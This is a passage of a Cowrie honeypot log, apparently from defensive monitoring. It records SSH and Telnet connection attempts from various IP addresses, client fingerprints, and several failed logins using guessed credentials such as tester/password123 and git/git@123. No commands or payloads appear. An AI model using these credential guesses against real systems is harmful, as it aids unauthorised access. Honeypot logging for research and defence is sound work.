af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:57.909879Z","src_ip":"220.247.224.226","session":"dfc7d0502ba2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"1234","message":"login attempt [testuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:58.841550Z","src_ip":"220.247.224.226","session":"dfc7d0502ba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:00.076676Z","src_ip":"220.247.224.226","session":"dfc7d0502ba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49402,"dst_ip":"159.203.135.109","dst_port":23,"session":"969bf034b06f","protocol":"telnet","message":"New connection: 161.97.105.174:49402 (159.203.135.109:23) [session: 969bf034b06f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:00.121847Z"}
{"eventid":"cowrie.session.closed","duration":34.03740429878235,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:00.553671Z","src_ip":"161.97.105.174","session":"09f1ee7ea79c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":39560,"dst_ip":"10.17.0.5","dst_port":22,"session":"37d91da98090","protocol":"ssh","message":"New connection: 43.165.185.71:39560 (10.17.0.5:22) [session: 37d91da98090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:01.990797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:01.997612Z","src_ip":"43.165.185.71","session":"37d91da98090","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49410,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1de257d0124","protocol":"telnet","message":"New connection: 161.97.105.174:49410 (159.203.135.109:23) [session: f1de257d0124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:02.182925Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:02.189093Z","src_ip":"43.165.185.71","session":"37d91da98090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.993011474609375,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:02.449874Z","src_ip":"161.97.105.174","session":"287060c72457","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.422013998031616,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:02.794566Z","src_ip":"161.97.105.174","session":"ae0e6514094a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tester","password":"password123","message":"login attempt [tester/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:02.997853Z","src_ip":"43.165.185.71","session":"37d91da98090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:04.205542Z","src_ip":"43.165.185.71","session":"37d91da98090","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49418,"dst_ip":"159.203.135.109","dst_port":23,"session":"3af17bc07e74","protocol":"telnet","message":"New connection: 161.97.105.174:49418 (159.203.135.109:23) [session: 3af17bc07e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:04.722501Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49422,"dst_ip":"159.203.135.109","dst_port":23,"session":"948b7bf506f7","protocol":"telnet","message":"New connection: 161.97.105.174:49422 (159.203.135.109:23) [session: 948b7bf506f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:04.867392Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49430,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d3179ddeb22","protocol":"telnet","message":"New connection: 161.97.105.174:49430 (159.203.135.109:23) [session: 8d3179ddeb22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:05.590804Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49434,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1a0c4aa4759","protocol":"telnet","message":"New connection: 161.97.105.174:49434 (159.203.135.109:23) [session: f1a0c4aa4759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:07.259396Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49442,"dst_ip":"159.203.135.109","dst_port":23,"session":"45d3833be5a3","protocol":"telnet","message":"New connection: 161.97.105.174:49442 (159.203.135.109:23) [session: 45d3833be5a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:07.476799Z"}
{"eventid":"cowrie.session.closed","duration":34.02633595466614,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:08.831640Z","src_ip":"161.97.105.174","session":"92e46c2add7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.75846290588379,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:14.128375Z","src_ip":"161.97.105.174","session":"191708b85d01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.169363260269165,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:15.170673Z","src_ip":"161.97.105.174","session":"57fed531f7c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":60804,"dst_ip":"10.17.0.5","dst_port":22,"session":"21a32beba254","protocol":"ssh","message":"New connection: 152.32.130.174:60804 (10.17.0.5:22) [session: 21a32beba254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:15.938768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:15.946671Z","src_ip":"152.32.130.174","session":"21a32beba254","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:16.175467Z","src_ip":"152.32.130.174","session":"21a32beba254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpguest","password":"ftpguest","message":"login attempt [ftpguest/ftpguest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:17.089797Z","src_ip":"152.32.130.174","session":"21a32beba254","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":37812,"dst_ip":"159.203.135.109","dst_port":23,"session":"502b719d8ff0","protocol":"telnet","message":"New connection: 161.97.105.174:37812 (159.203.135.109:23) [session: 502b719d8ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:17.548810Z"}
{"eventid":"cowrie.session.closed","duration":35.55928134918213,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:17.748607Z","src_ip":"161.97.105.174","session":"446c85ca4804","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":37824,"dst_ip":"159.203.135.109","dst_port":23,"session":"62d8c844c2e9","protocol":"telnet","message":"New connection: 161.97.105.174:37824 (159.203.135.109:23) [session: 62d8c844c2e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:18.146749Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:18.314699Z","src_ip":"152.32.130.174","session":"21a32beba254","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":46112,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ecbc877b01c","protocol":"ssh","message":"New connection: 154.219.100.220:46112 (10.17.0.5:22) [session: 7ecbc877b01c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:19.748980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:19.754127Z","src_ip":"154.219.100.220","session":"7ecbc877b01c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:19.956880Z","src_ip":"154.219.100.220","session":"7ecbc877b01c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35820,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8def715ee6d","protocol":"telnet","message":"New connection: 161.97.105.174:35820 (159.203.135.109:23) [session: e8def715ee6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:20.330339Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"git1234","message":"login attempt [ubuntu/git1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:20.805029Z","src_ip":"154.219.100.220","session":"7ecbc877b01c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35834,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a03f9edffcb","protocol":"telnet","message":"New connection: 161.97.105.174:35834 (159.203.135.109:23) [session: 1a03f9edffcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:21.698564Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:22.014662Z","src_ip":"154.219.100.220","session":"7ecbc877b01c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.39403033256531,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:22.490010Z","src_ip":"161.97.105.174","session":"c9dfb2fdda90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":40400,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ac74ee8362a","protocol":"ssh","message":"New connection: 202.125.94.71:40400 (10.17.0.5:22) [session: 6ac74ee8362a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:30.494410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:30.501336Z","src_ip":"202.125.94.71","session":"6ac74ee8362a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:30.765130Z","src_ip":"202.125.94.71","session":"6ac74ee8362a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git@123","message":"login attempt [git/git@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:31.853100Z","src_ip":"202.125.94.71","session":"6ac74ee8362a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.49429726600647,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:32.615997Z","src_ip":"161.97.105.174","session":"969bf034b06f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:33.118844Z","src_ip":"202.125.94.71","session":"6ac74ee8362a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.90330958366394,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:36.086111Z","src_ip":"161.97.105.174","session":"f1de257d0124","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.615777015686035,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:38.338174Z","src_ip":"161.97.105.174","session":"3af17bc07e74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.674622535705566,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:39.265303Z","src_ip":"161.97.105.174","session":"8d3179ddeb22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.811923027038574,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:40.288605Z","src_ip":"161.97.105.174","session":"45d3833be5a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56476,"dst_ip":"159.203.135.109","dst_port":23,"session":"0802b48075c3","protocol":"telnet","message":"New connection: 161.97.105.174:56476 (159.203.135.109:23) [session: 0802b48075c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:40.679522Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56480,"dst_ip":"159.203.135.109","dst_port":23,"session":"3862d7457b20","protocol":"telnet","message":"New connection: 161.97.105.174:56480 (159.203.135.109:23) [session: 3862d7457b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:40.736297Z"}
{"eventid":"cowrie.session.closed","duration":36.44636559486389,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:41.313613Z","src_ip":"161.97.105.174","session":"948b7bf506f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.277307987213135,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:41.536582Z","src_ip":"161.97.105.174","session":"f1a0c4aa4759","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56496,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6a9de362ba4","protocol":"telnet","message":"New connection: 161.97.105.174:56496 (159.203.135.109:23) [session: d6a9de362ba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:41.956947Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56510,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2ee2606b57a","protocol":"telnet","message":"New connection: 161.97.105.174:56510 (159.203.135.109:23) [session: d2ee2606b57a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:45.882049Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56512,"dst_ip":"159.203.135.109","dst_port":23,"session":"b40e2675cdf8","protocol":"telnet","message":"New connection: 161.97.105.174:56512 (159.203.135.109:23) [session: b40e2675cdf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:47.250266Z"}
{"eventid":"cowrie.session.closed","duration":31.968557119369507,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:49.517240Z","src_ip":"161.97.105.174","session":"502b719d8ff0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52340,"dst_ip":"10.17.0.5","dst_port":23,"session":"12d8ce97dc96","protocol":"telnet","message":"New connection: 64.227.101.30:52340 (10.17.0.5:23) [session: 12d8ce97dc96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:49.843693Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44136,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a7615f13261","protocol":"telnet","message":"New connection: 161.97.105.174:44136 (159.203.135.109:23) [session: 1a7615f13261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:51.570898Z"}
{"eventid":"cowrie.session.closed","duration":31.94254183769226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:52.272766Z","src_ip":"161.97.105.174","session":"e8def715ee6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.42071294784546,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:52.567344Z","src_ip":"161.97.105.174","session":"62d8c844c2e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44140,"dst_ip":"159.203.135.109","dst_port":23,"session":"87c734923098","protocol":"telnet","message":"New connection: 161.97.105.174:44140 (159.203.135.109:23) [session: 87c734923098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:52.700963Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44152,"dst_ip":"159.203.135.109","dst_port":23,"session":"12f03408683b","protocol":"telnet","message":"New connection: 161.97.105.174:44152 (159.203.135.109:23) [session: 12f03408683b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:54.644999Z"}
{"eventid":"cowrie.session.closed","duration":35.86078095436096,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:25:57.559209Z","src_ip":"161.97.105.174","session":"1a03f9edffcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":57952,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b5817febe38","protocol":"telnet","message":"New connection: 161.97.105.174:57952 (159.203.135.109:23) [session: 0b5817febe38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:00.637263Z"}
